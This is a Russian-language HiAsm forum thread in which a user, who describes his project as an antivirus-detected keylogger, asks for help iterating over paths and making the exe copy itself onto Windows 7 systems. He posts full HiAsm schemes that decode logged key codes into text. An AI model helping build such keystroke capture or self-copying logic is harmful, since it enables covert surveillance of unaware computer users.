HiAsm
HiAsm
Вверх ↑
ФорумыПомощь по пакетуПеребор путей ← Ctrl12Ctrl →
Этот топик читают: Гость
Ответов: 74
Рейтинг: 2
#1: 2013-12-14 16:13:50 ЛС | профиль | цитата
Здравствуйте.

Возникла необходимость как то развязать следующую задачу ,уже несколько часов пробую но не получается((
Задача такая есть список разных путей к дискам и папкам например записан в элементе StrList. Он же связан с элементом FileTools который будет брать пути с того же StrList и если по етому пути не будет такого файла он будет там его создавать и так дальше по списку путей .. )) надеюсь объяснил хорошо ).подскажите как такое оформить или может где то уже поднималась такая тема..Спасибо..
карма: 0

0
Ответов: 1535
Рейтинг: 176
#2: 2013-12-14 16:25:09 ЛС | профиль | цитата
Bigggi, ты даже назвал элементы, которые необходимы для этого. Осталось только всё это соединить линиями. Если проблема только в этом, то вопрос остаётся не понятным.
карма: 1
Не так страшна ошибка, как опасность её не заметить.

0
Ответов: 74
Рейтинг: 2
#3: 2013-12-14 16:32:14 ЛС | профиль | цитата
Так проблема в том что соединить то я соединил но как "шагать" по записанному в StrList не знаю(( например чтобы шел перебор строка 1,2,3,4,5.. и так дале. Спасибо
карма: 0

0
Ответов: 1535
Рейтинг: 176
#4: 2013-12-14 16:49:25 ЛС | профиль | цитата
ArrayEnum
карма: 1
Не так страшна ошибка, как опасность её не заметить.

0
Ответов: 704
Рейтинг: 44
#5: 2013-12-14 17:08:12 ЛС | профиль | цитата
Bigggi писал(а):
Так проблема в том что соединить то я соединил но как "шагать" по записанному в StrList не знаю(( например чтобы шел перебор строка 1,2,3,4,5.. и так дале. Спасибо

Скинь схему.
карма: 0

0
Ответов: 74
Рейтинг: 2
#6: 2013-12-14 17:35:05 ЛС | профиль | цитата
Kazbek17 я бы с удовольствием выложил) но боюсь загрызут меня на форуме))), так как никто не поверит что етот софт лишь для мирных целей ) если позволят админы и модераторы то могу выложить в принципе схема безобидная так как палиться антивирусами) ..Чисто для ознакомления принципов могу выложить..Да и некоторые куски схем взяты из етого форума я просто звязал все ето в кучу ..если в двух словах ето кейлогер
карма: 0

0
Ответов: 16884
Рейтинг: 1239
#7: 2013-12-14 19:08:12 ЛС | профиль | цитата
code_32603.txt
Хотя можно и без промежуточного вывода списка папок - прямо подавая найденный путь на проверку наличия файла в папке.
карма: 25
Немного терпения! Дежурный экстрасенс скоро свяжется с Вами!
0
файлы: 1code_32603.txt [858B] [91]
Ответов: 74
Рейтинг: 2
#8: 2013-12-14 19:17:59 ЛС | профиль | цитата
Tad от спасибо щас посмотрю.. как думаете стоит выложить сюда схемы и дешифраторов и самого логера?. может что то подскажете или посоветуете. а может кому и пригодиться какие то фрагменты схем..
карма: 0

0
Ответов: 16884
Рейтинг: 1239
#9: 2013-12-14 21:13:53 ЛС | профиль | цитата
Дело хозяйское.
карма: 25
Немного терпения! Дежурный экстрасенс скоро свяжется с Вами!
0
Ответов: 74
Рейтинг: 2
#10: 2013-12-15 01:11:17 ЛС | профиль | цитата
Сам кейлогер
code_32610.txt
дешифратор с английского 
Make(delphi)
ver(4.04 build 185)
Add(MainForm,12966647,105,448)
{
 Width=342
 Height=511
 WinStyle=2
 Caption="Дешифратор EN"
 BorderStyle=3
}
Add(Edit,14509787,392,721)
{
 Left=685
 Top=550
 Width=135
 Visible=1
 Text=""
 link(onChange,1656242:doGetIndex,[(468,727)(468,300)])
}
Add(ArrayRW,14472721,301,721)
{
 Point(Count)
 link(onRead,14509787:doText,[])
 link(Array,5018169:Array,[])
 link(Index,237052:Result,[(314,695)(321,695)])
}
Add(Math,237052,315,637)
{
 Op2=1
 link(onResult,8250056:doEvent1,[])
 link(Op1,7209486:Var2,[(321,589)(314,589)])
}
Add(ListBox,5018169,287,490)
{
 Left=5
 Top=75
 Width=125
 Height=360
 Font=[MS Sans Serif,8,1,255,1]
 Point(doSelect)
 Point(Index)
 link(FileName,2549299:Text,[])
}
Add(Hub,8250056,371,637)
{
 OutCount=3
 link(onEvent1,14472721:doRead,[(397,643)(397,685)(289,685)(289,727)])
 link(onEvent2,5018169:doSelect,[(397,650)(397,594)(275,594)(275,538)])
 link(onEvent3,1223526:doData,[(397,657)(397,619)(191,619)(191,580)])
}
Add(ListBox,15820048,903,224)
{
 Left=725
 Top=475
 Width=65
 Height=75
 Visible=1
 FileName="Розшифровка стандартний вигляд.txt"
 link(onChange,5534928:doReplace,[(946,230)(946,325)(912,325)(912,398)])
}
Add(SDialog,14075694,994,294)
{
 Filter="Text Files|.txt"
 StartDir="C:\"
 FileName="Finish"
 link(onExecute,15877683:doText,[])
}
Add(ODialog,13060307,210,392)
{
 Filter="Text Files|*.txt"
 StartDir="C:\"
 FileName=""
 link(onExecute,8023905:doEvent1,[])
}
Add(StyleXP,11690727,105,413)
{
}
Add(DropFile,8334153,210,427)
{
 link(onDropFile,8023905:doEvent2,[(247,433)(247,405)])
}
Add(Hub,8023905,252,392)
{
 InCount=2
 OutCount=1
 link(onEvent1,2549299:doText,[])
}
Add(Replace,5534928,924,392)
{
 SubStr="\r\n"
 DestStr=" "
 link(onReplace,7368239:doEvent4,[(980,398)(980,458)])
 link(Str,15820048:Text,[(930,337)(909,337)])
}
Add(Memo,7433420,1043,364)
{
 Left=135
 Top=75
 Width=195
 Height=360
 Font=[MS Sans Serif,8,1,16711680,1]
 ScrollBars=2
 link(FileName,15877683:Text,[])
}
Add(Timer,16151045,217,637)
{
 Interval=0
 link(onTimer,12062509:doWork2,[])
}
Add(DoData,1223526,203,574)
{
 link(onEventData,5018169:doDelete,[(261,580)(261,510)])
 link(Data,7209486:Var1,[(209,565)])
}
Add(GetDataEx,7209486,315,564)
{
 link(Data,5018169:Index,[(321,553)(314,553)])
}
Add(Menu,7527490,77,175)
{
 Menu=#4:Файл|1:(|8:Відкрити|8:Зберегти|1:-|21:Очистити вхідний файл|18:Очистити результат|1:-|5:Автор|1:)|
 Point(onSelectNum)
 link(onSelectNum,6989177:doCompare,[])
}
Add(If_else,1181510,308,210)
{
 Op2=Integer(7)
 link(onTrue,7722486:doMessage,[(362,216)(362,265)])
}
Add(If_else,6355755,182,189)
{
 Op2=Integer(2)
 link(onTrue,14075694:doExecute,[(639,195)(639,300)])
 link(onFalse,5073094:doCompare,[])
}
Add(If_else,4219482,266,203)
{
 Op2=Integer(5)
 link(onTrue,6779183:doEvent1,[(706,209)(706,377)])
 link(onFalse,1181510:doCompare,[])
}
Add(If_else,5073094,224,196)
{
 Op2=Integer(4)
 link(onTrue,4228576:doEvent1,[(338,202)])
 link(onFalse,4219482:doCompare,[])
}
Add(If_else,6989177,140,182)
{
 Op2=Integer(1)
 link(onTrue,13060307:doExecute,[(187,188)(187,398)])
 link(onFalse,6355755:doCompare,[])
}
Add(Edit,2549299,294,392)
{
 Left=270
 Top=3360
 Visible=1
 Text=""
 link(onChange,1649547:doEvent1,[])
}
Add(Edit,15877683,1050,294)
{
 Left=270
 Top=3360
 Visible=1
 Text=""
 link(onChange,7433420:doSave,[(1094,300)(1094,352)(1031,352)(1031,405)])
}
Add(Hub,1649547,350,392)
{
 OutCount=3
 link(onEvent1,5018169:doLoad,[(376,398)(376,461)(275,461)(275,524)])
 link(onEvent2,16151045:doTimer,[(376,405)(376,552)(173,552)(173,643)])
 link(onEvent3,872268:doText,[(455,412)(455,419)])
}
Add(StrList,1656242,511,252)
{
 Strings=#2:27|3:112|3:113|3:114|3:115|3:116|3:117|3:118|3:119|3:120|3:121|3:122|3:123|3:145|2:45|2:19|3:192|2:48|2:49|2:50|2:51|2:52|2:53|2:54|2:55|2:56|2:57|3:189|3:187|1:8|2:36|2:35|3:144|3:111|3:106|3:109|1:9|2:81|2:87|2:69|2:82|2:84|2:89|2:85|2:73|2:79|2:80|3:219|3:221|3:220|2:46|2:33|3:103|3:104|3:105|3:107|2:20|2:65|2:83|2:68|2:70|2:71|2:72|2:74|2:75|2:76|3:186|3:222|2:13|2:34|3:100|3:101|3:102|2:16|2:90|2:88|2:67|2:86|2:66|2:78|2:77|3:188|3:190|3:191|2:16|2:38|2:97|2:98|2:99|2:13|2:17|2:91|2:18|2:32|2:18|2:93|2:17|2:37|2:40|2:39|2:96|3:110|
 Point(doGetIndex)
 Point(onGetIndex)
 link(onGetIndex,10001673:doGetString,[(583,265)(583,433)])
}
Add(Button,10803865,779,571)
{
 Left=5
 Width=325
 Height=25
 Font=[MS Sans Serif,8,1,0,1]
 Caption="Зробити пробіли ,почистити мусор"
 link(onClick,7216030:doEvent1,[])
}
Add(StrCase,15438871,1110,578)
{
 link(onModify,6622093:doEvent1,[(1148,584)(1148,587)])
 link(Str,5898097:Var3,[(1116,506)])
}
Add(Replace,12351164,984,578)
{
 SubStr="Space"
 DestStr=" "
 link(onReplace,7368239:doEvent3,[(1028,584)(1028,518)(993,518)(993,451)])
 link(Str,11062910:Var3,[(990,542)])
}
Add(Replace,10705036,879,571)
{
 SubStr=" "
 link(onReplace,7368239:doEvent1,[(923,577)(923,553)(824,553)(824,437)])
 link(Str,5898097:Var2,[(885,543)(892,543)])
}
Add(GetDataEx,5898097,886,505)
{
 link(Data,9720164:Var2,[(885,455)(885,455)(1049,455)])
}
Add(Hub,7368239,1005,431)
{
 InCount=10
 OutCount=1
 link(onEvent1,7433420:doText,[(1031,437)(1031,391)])
}
Add(Timer,11686985,865,634)
{
 Interval=1
 Enable=1
 link(onTimer,8498280:doEvent1,[])
}
Add(Hub,7216030,830,571)
{
 link(onEvent1,10705036:doReplace,[])
 link(onEvent2,11686985:doTimer,[(854,584)(854,640)])
}
Add(Timer,5037699,984,640)
{
 Interval=1
 Enable=1
 link(onTimer,15438871:doModify,[(1028,646)(1028,647)(1063,646)(1063,584)])
}
Add(Hub,8498280,914,634)
{
 InCount=3
 OutCount=8
 link(onEvent1,12351164:doReplace,[(941,640)(941,584)])
 link(onEvent2,5037699:doTimer,[(960,647)(960,646)])
 link(onEvent3,597024:doReplace,[(940,654)(940,612)(685,612)(685,570)])
 link(onEvent4,2822644:doReplace,[(940,661)(940,668)(657,668)(657,675)])
 link(onEvent5,10976383:doReplace,[(940,668)(940,710)(664,710)(664,752)])
 link(onEvent6,12859997:doReplace,[(940,675)(940,745)(678,745)(678,815)])
 link(onEvent7,2614514:doReplace,[(940,682)(940,766)(853,766)(853,850)])
 link(onEvent8,14416205:doReplace,[(940,689)(940,661)(566,661)(566,633)])
}
Add(Hub,6622093,1155,581)
{
 OutCount=3
 link(onEvent1,7368239:doEvent2,[(1193,584)(1193,524)(825,524)(825,444)])
 link(onEvent2,11686985:doStop,[(1181,594)(1181,620)(853,620)(853,647)])
 link(onEvent3,5037699:doStop,[(1181,601)(1181,627)(972,627)(972,653)])
}
Add(Replace,597024,697,564)
{
 SubStr="Backspace"
 DestStr=" "
 link(onReplace,7368239:doEvent5,[(867,570)(867,465)])
 link(Str,7315267:Var2,[(703,555)(965,555)])
}
Add(GetDataEx,7315267,959,537)
{
 Angle=3
 link(Data,5898097:Var1,[(876,542)(876,506)])
}
Add(Replace,2822644,669,669)
{
 SubStr="Enter"
 DestStr=" "
 link(onReplace,7368239:doEvent6,[(853,675)(853,472)])
 link(Str,13707118:Var2,[])
}
Add(GetDataEx,11062910,973,537)
{
 Angle=3
 link(Data,7315267:Var3,[])
}
Add(Replace,10976383,676,746)
{
 SubStr="Shift"
 DestStr=" "
 link(onReplace,7368239:doEvent7,[(856,752)(856,479)])
 link(Str,13707118:Var3,[(682,614)])
}
Add(GetDataEx,13707118,669,609)
{
 link(Data,15412377:Var2,[])
}
Add(Replace,12859997,690,809)
{
 SubStr="Alt"
 DestStr=" "
 link(onReplace,7368239:doEvent8,[(864,815)(864,486)])
 link(Str,6575706:Var2,[(696,710)(720,710)])
}
Add(GetDataEx,6575706,714,602)
{
 Angle=1
 link(Data,10832668:Var1,[])
}
Add(Replace,2614514,865,844)
{
 SubStr="Tab"
 DestStr=" "
 link(onReplace,7368239:doEvent9,[(951,850)(951,493)])
 link(Str,10832668:Var2,[(871,728)(783,728)])
}
Add(GetDataEx,10832668,777,602)
{
 Angle=1
 link(Data,11062910:Var2,[(979,607)])
}
Add(StrList,7279645,1106,427)
{
 FileName="Розшифрований файл на UA.txt"
 link(Str,9720164:Var1,[(1112,415)(1040,415)(1040,439)])
}
Add(GetDataEx,9720164,1043,434)
{
 link(Data,7433420:Text,[])
}
Add(Hub,10850186,847,259)
{
 OutCount=4
 link(onEvent1,15820048:doSave,[])
 link(onEvent2,11493149:doTimer,[(931,272)(931,244)])
 link(onEvent3,7279645:doAdd,[(983,279)(983,433)])
}
Add(Button,6490688,773,259)
{
 Left=5
 Top=25
 Width=325
 Height=25
 Caption="Зберегти в txt файл"
 link(onClick,10850186:doEvent1,[])
}
Add(Timer,11493149,1001,238)
{
 Interval=10
 Enable=1
 AutoStop=1
 link(onTimer,7279645:doSave,[(1073,244)(1073,468)])
}
Add(Label,872268,504,413)
{
 Left=10
 Top=440
 Width=38
 Height=17
 Font=[MS Sans Serif,8,1,0,1]
 Caption="Шлях:"
 ColorHover=255
}
Add(Hub,6779183,777,371)
{
 InCount=2
 link(onEvent1,7433420:doClear,[])
}
Add(Hub,4228576,301,294)
{
 InCount=2
 link(onEvent1,5018169:doClear,[(338,615)(275,615)(275,503)])
}
Add(Button,6100396,238,287)
{
 Left=5
 Top=50
 Width=125
 Height=25
 Caption="Очистити данні"
 link(onClick,4228576:doEvent2,[(286,293)(286,307)])
}
Add(Button,11730504,658,490)
{
 Left=135
 Top=50
 Width=195
 Height=25
 Caption="Очистити результат"
 link(onClick,6779183:doEvent2,[(734,496)(734,384)])
}
Add(HubEx,12062509,252,637)
{
 link(onEvent,237052:doOperation,[])
}
Add(Replace,14416205,578,627)
{
 SubStr="Ctrl"
 link(onReplace,7368239:doEvent10,[(808,633)(808,500)])
 link(Str,15412377:Var1,[(584,607)])
}
Add(GetDataEx,15412377,669,602)
{
 Angle=1
 link(Data,6575706:Var1,[])
}
Add(StrList,10001673,623,385)
{
 Strings=#3:Esc|2:F1|2:F2|2:F3|2:F4|2:F5|2:F6|2:F7|2:F8|2:F9|3:F10|3:F11|3:F12|11:Scroll Lock|6:Insert|5:Pause|1:`|1:0|1:1|1:2|1:3|1:4|1:5|1:6|1:7|1:8|1:9|1:-|1:=|9:Backspace|4:Home|3:End|8:Num Lock|5:Num /|5:Num *|5:Num -|3:Tab|1:Q|1:W|1:E|1:R|1:T|1:Y|1:U|1:I|1:O|1:P|1:[|1:]|1:\|6:Delete|7:Page Up|5:Num 7|5:Num 8|5:Num 9|5:Num +|9:Caps Lock|1:A|1:S|1:D|1:F|1:G|1:H|1:J|1:K|1:L|1:;|1:'|5:Enter|9:Page Down|5:Num 4|5:Num 5|5:Num 6|5:Shift|1:Z|1:X|1:C|1:V|1:B|1:N|1:M|1:<|1:>|1:?|5:Shift|8:Arrow Up|5:Num 1|5:Num 2|5:Num 3|9:Num Enter|4:Ctrl|3:Win|3:Alt|5:Space|3:Alt|5:Ankap|4:Ctrl|10:Arrow Left|10:Arrow Down|11:Arrow Right|5:Num 0|5:Num .|
 Point(doGetString)
 Point(onGetString)
 link(onGetString,15820048:doAdd,[(779,398)(779,230)])
}
Add(Label,6426792,217,-14)
{
 Left=220
 Top=-15
 Width=0
}
Add(Message,7722486,385,259)
{
 Message="Питання на bigggi@mail.ru"
 Caption="Hello"
 Icon=4
}
дешифратор с украинского

Make(delphi)
ver(4.04 build 185)
Add(MainForm,12966647,105,448)
{
 Width=342
 Height=516
 WinStyle=2
 Caption="Дешифратор UA"
 BorderStyle=3
}
Add(Edit,14509787,392,721)
{
 Left=685
 Top=550
 Width=135
 Visible=1
 Text=""
 link(onChange,1656242:doGetIndex,[(468,727)(468,300)])
}
Add(ArrayRW,14472721,301,721)
{
 Point(Count)
 link(onRead,14509787:doText,[])
 link(Array,5018169:Array,[])
 link(Index,237052:Result,[(314,695)(321,695)])
}
Add(Math,237052,315,637)
{
 Op2=1
 link(onResult,8250056:doEvent1,[])
 link(Op1,7209486:Var2,[(321,589)(314,589)])
}
Add(ListBox,5018169,287,490)
{
 Left=5
 Top=80
 Width=120
 Height=360
 Font=[MS Sans Serif,8,1,255,1]
 Point(doSelect)
 Point(Index)
 link(FileName,2549299:Text,[])
}
Add(Hub,8250056,371,637)
{
 OutCount=3
 link(onEvent1,14472721:doRead,[(397,643)(397,685)(289,685)(289,727)])
 link(onEvent2,5018169:doSelect,[(397,650)(397,594)(275,594)(275,538)])
 link(onEvent3,1223526:doData,[(397,657)(397,619)(191,619)(191,580)])
}
Add(ListBox,15820048,903,224)
{
 Left=725
 Top=475
 Width=65
 Height=75
 Visible=1
 FileName="Розшифровка стандартний вигляд.txt"
 link(onChange,5534928:doReplace,[(946,230)(946,325)(912,325)(912,398)])
}
Add(SDialog,14075694,994,294)
{
 Filter="Text Files|.txt"
 StartDir="C:\"
 FileName="Finish"
 link(onExecute,15877683:doText,[])
}
Add(ODialog,13060307,210,392)
{
 Filter="Text Files|*.txt"
 StartDir="C:\"
 FileName=""
 link(onExecute,8023905:doEvent1,[])
}
Add(StyleXP,11690727,105,413)
{
}
Add(DropFile,8334153,210,427)
{
 link(onDropFile,8023905:doEvent2,[(247,433)(247,405)])
}
Add(Hub,8023905,252,392)
{
 InCount=2
 OutCount=1
 link(onEvent1,2549299:doText,[])
}
Add(Replace,5534928,924,392)
{
 SubStr="\r\n"
 DestStr=" "
 link(onReplace,7368239:doEvent4,[(980,398)(980,458)])
 link(Str,15820048:Text,[(930,337)(909,337)])
}
Add(Memo,7433420,1043,364)
{
 Left=130
 Top=80
 Width=200
 Height=360
 Font=[MS Sans Serif,8,1,16711680,1]
 ScrollBars=2
 link(FileName,15877683:Text,[])
}
Add(Timer,16151045,217,637)
{
 Interval=0
 link(onTimer,12062509:doWork2,[])
}
Add(DoData,1223526,203,574)
{
 link(onEventData,5018169:doDelete,[(261,580)(261,510)])
 link(Data,7209486:Var1,[(209,565)])
}
Add(GetDataEx,7209486,315,564)
{
 link(Data,5018169:Index,[(321,553)(314,553)])
}
Add(Menu,7527490,77,175)
{
 Menu=#4:Файл|1:(|8:Відкрити|8:Зберегти|1:-|21:Очистити вхідний файл|18:Очистити результат|1:-|5:Автор|1:)|
 Point(onSelectNum)
 link(onSelectNum,6989177:doCompare,[])
}
Add(If_else,1181510,308,210)
{
 Op2=Integer(7)
 link(onTrue,12941212:doMessage,[(370,216)(370,251)])
}
Add(If_else,6355755,182,189)
{
 Op2=Integer(2)
 link(onTrue,14075694:doExecute,[(639,195)(639,300)])
 link(onFalse,5073094:doCompare,[])
}
Add(If_else,4219482,266,203)
{
 Op2=Integer(5)
 link(onTrue,6779183:doEvent1,[(706,209)(706,377)])
 link(onFalse,1181510:doCompare,[])
}
Add(If_else,5073094,224,196)
{
 Op2=Integer(4)
 link(onTrue,4228576:doEvent1,[(338,202)])
 link(onFalse,4219482:doCompare,[])
}
Add(If_else,6989177,140,182)
{
 Op2=Integer(1)
 link(onTrue,13060307:doExecute,[(187,188)(187,398)])
 link(onFalse,6355755:doCompare,[])
}
Add(Edit,2549299,294,392)
{
 Left=270
 Top=3360
 Visible=1
 Text=""
 link(onChange,1649547:doEvent1,[])
}
Add(Edit,15877683,1050,294)
{
 Left=270
 Top=3360
 Visible=1
 Text=""
 link(onChange,7433420:doSave,[(1094,300)(1094,352)(1031,352)(1031,405)])
}
Add(Hub,1649547,350,392)
{
 OutCount=3
 link(onEvent1,5018169:doLoad,[(376,398)(376,461)(275,461)(275,524)])
 link(onEvent2,16151045:doTimer,[(376,405)(376,552)(173,552)(173,643)])
 link(onEvent3,872268:doText,[(455,412)(455,419)])
}
Add(StrList,1656242,511,252)
{
 Strings=#2:27|3:112|3:113|3:114|3:115|3:116|3:117|3:118|3:119|3:120|3:121|3:122|3:123|3:145|2:45|2:19|3:192|2:48|2:49|2:50|2:51|2:52|2:53|2:54|2:55|2:56|2:57|3:189|3:187|1:8|2:36|2:35|3:144|3:111|3:106|3:109|1:9|2:81|2:87|2:69|2:82|2:84|2:89|2:85|2:73|2:79|2:80|3:219|3:221|3:220|2:46|2:33|3:103|3:104|3:105|3:107|2:20|2:65|2:83|2:68|2:70|2:71|2:72|2:74|2:75|2:76|3:186|3:222|2:13|2:34|3:100|3:101|3:102|2:16|2:90|2:88|2:67|2:86|2:66|2:78|2:77|3:188|3:190|3:191|2:16|2:38|2:97|2:98|2:99|2:13|2:17|2:91|2:18|2:32|2:18|2:93|2:17|2:37|2:40|2:39|2:96|3:110|
 Point(doGetIndex)
 Point(onGetIndex)
 link(onGetIndex,6215366:doGetString,[(573,265)(573,363)])
}
Add(Button,10803865,788,571)
{
 Left=5
 Top=5
 Width=325
 Height=25
 Font=[MS Sans Serif,8,1,0,1]
 Caption="Зробити пробіл,почистити мусор"
 link(onClick,7216030:doEvent1,[])
}
Add(StrCase,15438871,1110,578)
{
 link(onModify,6622093:doEvent1,[(1148,584)(1148,587)])
 link(Str,5898097:Var3,[(1116,506)])
}
Add(Replace,12351164,984,578)
{
 SubStr="Space"
 DestStr=" "
 link(onReplace,7368239:doEvent3,[(1028,584)(1028,518)(993,518)(993,451)])
 link(Str,11062910:Var3,[(990,542)])
}
Add(Replace,10705036,879,571)
{
 SubStr=" "
 link(onReplace,7368239:doEvent1,[(923,577)(923,553)(824,553)(824,437)])
 link(Str,5898097:Var2,[(885,543)(892,543)])
}
Add(GetDataEx,5898097,886,505)
{
 link(Data,9720164:Var2,[(885,455)(885,455)(1049,455)])
}
Add(Hub,7368239,1005,431)
{
 InCount=10
 OutCount=1
 link(onEvent1,7433420:doText,[(1031,437)(1031,391)])
}
Add(Timer,11686985,865,634)
{
 Interval=1
 Enable=1
 link(onTimer,8498280:doEvent1,[])
}
Add(Hub,7216030,830,571)
{
 link(onEvent1,10705036:doReplace,[])
 link(onEvent2,11686985:doTimer,[(854,584)(854,640)])
}
Add(Timer,5037699,984,640)
{
 Interval=1
 Enable=1
 link(onTimer,15438871:doModify,[(1028,646)(1028,647)(1063,646)(1063,584)])
}
Add(Hub,8498280,914,634)
{
 InCount=3
 OutCount=8
 link(onEvent1,12351164:doReplace,[(941,640)(941,584)])
 link(onEvent2,5037699:doTimer,[(960,647)(960,646)])
 link(onEvent3,597024:doReplace,[(940,654)(940,612)(685,612)(685,570)])
 link(onEvent4,2822644:doReplace,[(940,661)(940,668)(657,668)(657,675)])
 link(onEvent5,10976383:doReplace,[(940,668)(940,710)(664,710)(664,752)])
 link(onEvent6,12859997:doReplace,[(940,675)(940,745)(678,745)(678,815)])
 link(onEvent7,2614514:doReplace,[(940,682)(940,766)(853,766)(853,850)])
 link(onEvent8,14416205:doReplace,[(940,689)(940,661)(566,661)(566,633)])
}
Add(Hub,6622093,1155,581)
{
 OutCount=3
 link(onEvent1,7368239:doEvent2,[(1193,584)(1193,524)(825,524)(825,444)])
 link(onEvent2,11686985:doStop,[(1181,594)(1181,620)(853,620)(853,647)])
 link(onEvent3,5037699:doStop,[(1181,601)(1181,627)(972,627)(972,653)])
}
Add(StrList,6215366,602,315)
{
 Strings=#3:Esc|2:F1|2:F2|2:F3|2:F4|2:F5|2:F6|2:F7|2:F8|2:F9|3:F10|3:F11|3:F12|11:Scroll Lock|6:Insert|5:Pause|1:`|1:0|1:1|1:2|1:3|1:4|1:5|1:6|1:7|1:8|1:9|1:-|1:=|9:Backspace|4:Home|3:End|8:Num Lock|5:Num /|5:Num *|5:Num -|3:Tab|1:Й|1:Ц|1:У|1:К|1:Е|1:Н|1:Г|1:Ш|1:Щ|1:З|1:Х|1:Ї|1:\|6:Delete|7:Page Up|5:Num 7|5:Num 8|5:Num 9|5:Num +|9:Caps Lock|1:Ф|1:І|1:В|1:А|1:П|1:Р|1:О|1:Л|1:Д|1:Ж|1:Є|5:Enter|9:Page Down|5:Num 4|5:Num 5|5:Num 6|5:Shift|1:Я|1:Ч|1:С|1:М|1:И|1:Т|1:Ь|1:Б|1:Ю|1:.|5:Shift|8:Arrow Up|5:Num 1|5:Num 2|5:Num 3|9:Num Enter|4:Ctrl|3:Win|3:Alt|5:Space|3:Alt|5:Ankap|4:Ctrl|10:Arrow Left|10:Arrow Down|11:Arrow Right|5:Num 0|5:Num .|
 Point(doGetString)
 Point(onGetString)
 link(onGetString,15820048:doAdd,[(768,328)(768,230)])
}
Add(Replace,597024,697,564)
{
 SubStr="Backspace"
 DestStr=" "
 link(onReplace,7368239:doEvent5,[(867,570)(867,465)])
 link(Str,7315267:Var2,[(703,555)(965,555)])
}
Add(GetDataEx,7315267,959,537)
{
 Angle=3
 link(Data,5898097:Var1,[(876,542)(876,506)])
}
Add(Replace,2822644,669,669)
{
 SubStr="Enter"
 DestStr=" "
 link(onReplace,7368239:doEvent6,[(853,675)(853,472)])
 link(Str,13707118:Var2,[])
}
Add(GetDataEx,11062910,973,537)
{
 Angle=3
 link(Data,7315267:Var3,[])
}
Add(Replace,10976383,676,746)
{
 SubStr="Shift"
 DestStr=" "
 link(onReplace,7368239:doEvent7,[(856,752)(856,479)])
 link(Str,13707118:Var3,[(682,614)])
}
Add(GetDataEx,13707118,669,609)
{
 link(Data,15412377:Var2,[])
}
Add(Replace,12859997,690,809)
{
 SubStr="Alt"
 DestStr=" "
 link(onReplace,7368239:doEvent8,[(864,815)(864,486)])
 link(Str,6575706:Var2,[(696,710)(720,710)])
}
Add(GetDataEx,6575706,714,602)
{
 Angle=1
 link(Data,10832668:Var1,[])
}
Add(Replace,2614514,865,844)
{
 SubStr="Tab"
 DestStr=" "
 link(onReplace,7368239:doEvent9,[(951,850)(951,493)])
 link(Str,10832668:Var2,[(871,728)(783,728)])
}
Add(GetDataEx,10832668,777,602)
{
 Angle=1
 link(Data,11062910:Var2,[(979,607)])
}
Add(StrList,7279645,1106,427)
{
 FileName="Розшифрований файл на UA.txt"
 link(Str,9720164:Var1,[(1112,415)(1040,415)(1040,439)])
}
Add(GetDataEx,9720164,1043,434)
{
 link(Data,7433420:Text,[])
}
Add(Hub,10850186,847,259)
{
 OutCount=4
 link(onEvent1,15820048:doSave,[])
 link(onEvent2,11493149:doTimer,[(931,272)(931,244)])
 link(onEvent3,7279645:doAdd,[(983,279)(983,433)])
}
Add(Button,6490688,777,259)
{
 Left=5
 Top=30
 Width=325
 Height=25
 Caption="Зберегти в txt файл"
 link(onClick,10850186:doEvent1,[])
}
Add(Timer,11493149,1001,238)
{
 Interval=10
 Enable=1
 AutoStop=1
 link(onTimer,7279645:doSave,[(1073,244)(1073,468)])
}
Add(Label,872268,504,413)
{
 Left=5
 Top=445
 Width=38
 Height=17
 Font=[MS Sans Serif,8,1,0,1]
 Caption="Шлях:"
}
Add(Hub,6779183,777,371)
{
 InCount=2
 link(onEvent1,7433420:doClear,[])
}
Add(Hub,4228576,301,294)
{
 InCount=2
 link(onEvent1,5018169:doClear,[(338,615)(275,615)(275,503)])
}
Add(Button,6100396,238,287)
{
 Left=5
 Top=55
 Width=120
 Height=25
 Caption="Очистити данні"
 link(onClick,4228576:doEvent2,[(286,293)(286,307)])
}
Add(Button,11730504,658,490)
{
 Left=130
 Top=55
 Width=200
 Height=25
 Caption="Очистити результат"
 link(onClick,6779183:doEvent2,[(734,496)(734,384)])
}
Add(HubEx,12062509,252,637)
{
 link(onEvent,237052:doOperation,[])
}
Add(Replace,14416205,578,627)
{
 SubStr="Ctrl"
 link(onReplace,7368239:doEvent10,[(808,633)(808,500)])
 link(Str,15412377:Var1,[(584,607)])
}
Add(GetDataEx,15412377,669,602)
{
 Angle=1
 link(Data,6575706:Var1,[])
}
Add(Message,12941212,399,245)
{
 Message="Питання на bigggi@mail.ru"
 Caption="Hello"
 Icon=4
}

Извиняйте в программе надписи на укр. языке как как программу представлял в техникуме ... наcчет пути так и не получилось( посмотрите пожалуйста фрагмент кода где идет самокопирование этого ехе изначально путь беру из элемента Memory но там возможно прописать только 1 вариант пути .. а вот в 7мом виндовсе етот путь отличается ... так же может у кого будет идея как скрестить два дешифратора чтобы было так сказать в одной упаковке а то иметь две программы неудобно как по мне ..
карма: 0

0
файлы: 1code_32610.txt [6.7KB] [87]
Разработчик
Ответов: 26153
Рейтинг: 2127
#11: 2013-12-15 02:05:20 ЛС | профиль | цитата
Bigggi писал(а):
на щет пути


Зачем же так коверкать Русский язык
карма: 22

0
Ответов: 74
Рейтинг: 2
#12: 2013-12-15 11:51:39 ЛС | профиль | цитата
опечатка, с кем не бывает ?
карма: 0

0
Ответов: 1821
Рейтинг: 168
#13: 2013-12-15 12:37:05 ЛС | профиль | цитата
nesco, [flood]
nesco писал(а):
Зачем же так коверкать Русский язык
Насколько мне известно, Bigggi из Львова (недалеко от меня, кстати). А когда каждый день говоришь на украинском, тяжело сразу переключиться на русский[/flood]
карма: 5

0
Разработчик
Ответов: 26153
Рейтинг: 2127
#14: 2013-12-15 14:23:48 ЛС | профиль | цитата
[offtop]
Bigggi писал(а):
опечатка, с кем не бывает ?

это не опечатка, это умышленное написание -- буква "щ", в этом слове, заменяет "сч", те должно получиться "счет", а получается "щет"
sаmakacd писал(а):
Насколько мне известно, Bigggi из Львова

А хостинг в Киеве...[/offtop]
карма: 22

0
Ответов: 1821
Рейтинг: 168
#15: 2013-12-15 14:41:32 ЛС | профиль | цитата
nesco, [flood]
nesco писал(а):
sаmakacd писал(а):
опечатка, с кем не бывает ?
Это не я писал, а Biggi
nesco писал(а):
А хостинг в Киеве...
У меня так же, хоть и живу недалеко от Львова и Польши
[/flood]
карма: 5

0
ФорумыПомощь по пакетуПеребор путей ← Ctrl12Ctrl →
Сообщение
...
Прикрепленные файлы
(файлы не залиты)
HiAsm Studio 2003 - 2024
Пользовательское соглашение | support@hiasm.com
Яндекс.Метрика